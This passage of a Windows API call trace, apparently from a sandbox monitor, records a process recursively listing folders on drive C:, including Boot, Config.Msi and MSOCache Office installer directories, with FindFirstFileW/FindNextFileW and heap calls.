GetProcessHeap () returned 0x470000 [0076.352] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0076.352] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e58 [0076.353] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.353] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0076.353] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0076.353] FindClose (in: hFindFile=0x491e58 | out: hFindFile=0x491e58) returned 1 [0076.353] GetProcessHeap () returned 0x470000 [0076.353] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0076.353] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0076.353] GetProcessHeap () returned 0x470000 [0076.353] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0076.353] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e58 [0076.353] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.353] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0076.353] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0076.353] FindClose (in: hFindFile=0x491e58 | out: hFindFile=0x491e58) returned 1 [0076.354] GetProcessHeap () returned 0x470000 [0076.354] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0076.354] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0076.354] FindClose (in: hFindFile=0x493080 | out: hFindFile=0x493080) returned 1 [0076.354] GetProcessHeap () returned 0x470000 [0076.354] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x517ba0 | out: hHeap=0x470000) returned 1 [0076.354] FindNextFileW (in: hFindFile=0x493040, lpFindFileData=0x2d2f5a8 | out: lpFindFileData=0x2d2f5a8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0076.354] FindNextFileW (in: hFindFile=0x493040, lpFindFileData=0x2d2f5a8 | out: lpFindFileData=0x2d2f5a8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0076.354] FindNextFileW (in: hFindFile=0x493040, lpFindFileData=0x2d2f5a8 | out: lpFindFileData=0x2d2f5a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0076.354] GetProcessHeap () returned 0x470000 [0076.354] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x517ba0 [0076.354] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x493080 [0076.354] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.355] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.355] FindClose (in: hFindFile=0x493080 | out: hFindFile=0x493080) returned 1 [0076.355] GetProcessHeap () returned 0x470000 [0076.355] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x517ba0 | out: hHeap=0x470000) returned 1 [0076.355] FindNextFileW (in: hFindFile=0x493040, lpFindFileData=0x2d2f5a8 | out: lpFindFileData=0x2d2f5a8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0076.355] FindNextFileW (in: hFindFile=0x493040, lpFindFileData=0x2d2f5a8 | out: lpFindFileData=0x2d2f5a8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0076.355] FindNextFileW (in: hFindFile=0x493040, lpFindFileData=0x2d2f5a8 | out: lpFindFileData=0x2d2f5a8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0076.356] GetProcessHeap () returned 0x470000 [0076.356] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x517ba0 [0076.356] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x493080 [0076.356] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.356] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0076.356] GetProcessHeap () returned 0x470000 [0076.356] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0076.356] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e58 [0076.356] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.357] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0076.357] GetProcessHeap () returned 0x470000 [0076.357] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3221080 [0076.358] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e98 [0076.358] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.358] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0076.358] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0076.358] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0076.358] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.358] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.358] FindClose (in: hFindFile=0x491e98 | out: hFindFile=0x491e98) returned 1 [0076.358] GetProcessHeap () returned 0x470000 [0076.358] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3221080 | out: hHeap=0x470000) returned 1 [0076.359] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0076.359] GetProcessHeap () returned 0x470000 [0076.359] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3221080 [0076.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e98 [0076.360] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.360] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0076.360] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0076.360] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0076.360] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.360] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.360] FindClose (in: hFindFile=0x491e98 | out: hFindFile=0x491e98) returned 1 [0076.361] GetProcessHeap () returned 0x470000 [0076.361] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3221080 | out: hHeap=0x470000) returned 1 [0076.361] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0076.361] GetProcessHeap () returned 0x470000 [0076.361] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3221080 [0076.362] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e98 [0076.363] FindNextFileW (in: 